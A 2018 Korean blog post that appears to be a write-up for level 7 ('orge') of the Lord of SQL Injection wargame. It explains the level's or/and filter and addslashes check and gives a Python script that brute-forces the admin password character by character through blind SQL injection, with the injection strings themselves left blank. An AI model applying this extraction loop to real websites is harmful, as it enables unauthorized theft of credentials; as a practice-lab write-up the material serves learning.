Youngjin's Log

[los] 7번 문제 orge 본문

Web/Wargame&CTF

[los] 7번 문제 orge

Youngjin. 2018. 7. 11. 15:37

7번 문제 - orge


php 코드 분석

preg_match함수로 테이블에 직접적인 접근을 금지하고 있습니다.

그리고 or, and를 금지하고 있습니다.

pw를 get방식 문자열로 받아서 쿼리문을 입력하고 출력된 id값을 페이지에 표시해줍니다.

그리고 addslashes함수를 이용하여 입력받은 pw문자열 중에서 싱글쿼터, 더블쿼터, 널, 역슬래시 앞에 역슬래시(\)를 추가하여 반환해줍니다.

그렇게 반환받은 pw문자열을 다시 쿼리문에 입력하고 쿼리가 정상적으로 입력되고 동작했다면 출력된 pw와 addslashes함수로부터 반환 받은 문자열을 비교합니다. 두개의 문자열이 같으면 클리어 되는 문제입니다.


TIP

문제의 핵심은 addslashes함수입니다. 첫번째 쿼리문을 무력화시켜서 admin을 뽑아 낸다고 하더라도 addslashes함수로 인해서 두번쨰 쿼리문부터 문제가 생길 것입니다. 마지막 조건문에서 출력한 pw와 addslashes한 pw를 비교하기 때문에, 결국에는 진짜 패스워드 값을 찾으라는 문제입니다. orge까지 오신 분이시라면 orc문제를 풀고 오셨을 것이기 때문에, 오크와 동일하게 첫번째 쿼리문에서 Blind SQL injection을 해주시면 됩니다. 다른 점이라면 or, and가 금지되어 있다는 것 뿐입니다. or, and를 우회하시고 Blind SQL injection을 해주시면 될 것 같습니다.

답은 다양한 형태로 올 수 있습니다.


코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다.

import requests


URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}
ch = ''


result = ''
result2 = ''
num = 1

guest = 'Hello guest'

admin = 'Hello admin'
clear = 'Clear'


#반복할 값 입력

strurl1 = ""
strurl2 = ""
strurl3 = ""
'''
strurl1 = input('반복할 첫번째 값:')
strurl2 = input('반복할 두번째 값:')
strurl3 = input('반복할 세번째 값:')
'''

for i in range(1, 11):
if num==0:
break
for j in range(0,128):
num = j
req = requests.get(URL+ch+strurl1+str(i)+strurl2+str(j)+strurl3, headers=cookies)

response = req.text
print(strurl1+str(i)+strurl2+str(j)+strurl3)

# 문자열 비교해서 출력하기
if clear in response:
print('good')
elif admin in response:
if num == 0:
print('NULL값')
break
print('admin')
result = result+'\n'+str(i)+'번째 암호는'+' = '+'ascii 값: '+str(j)
result2 = result2+chr(j)
break
elif guest in response:
print('guest')
#결과 출력
print(result)
print('답은 :'+result2)


'Web > Wargame&CTF' 카테고리의 다른 글

[los] 9번 문제 vampire  (0) 2018.07.12
[los] 8번 문제 troll  (0) 2018.07.11
[los] 6번 문제 darkelf  (0) 2018.07.11
[los] 5번 문제 wolfman  (0) 2018.07.11
[los] 4번 문제 orc  (0) 2018.07.10
Comments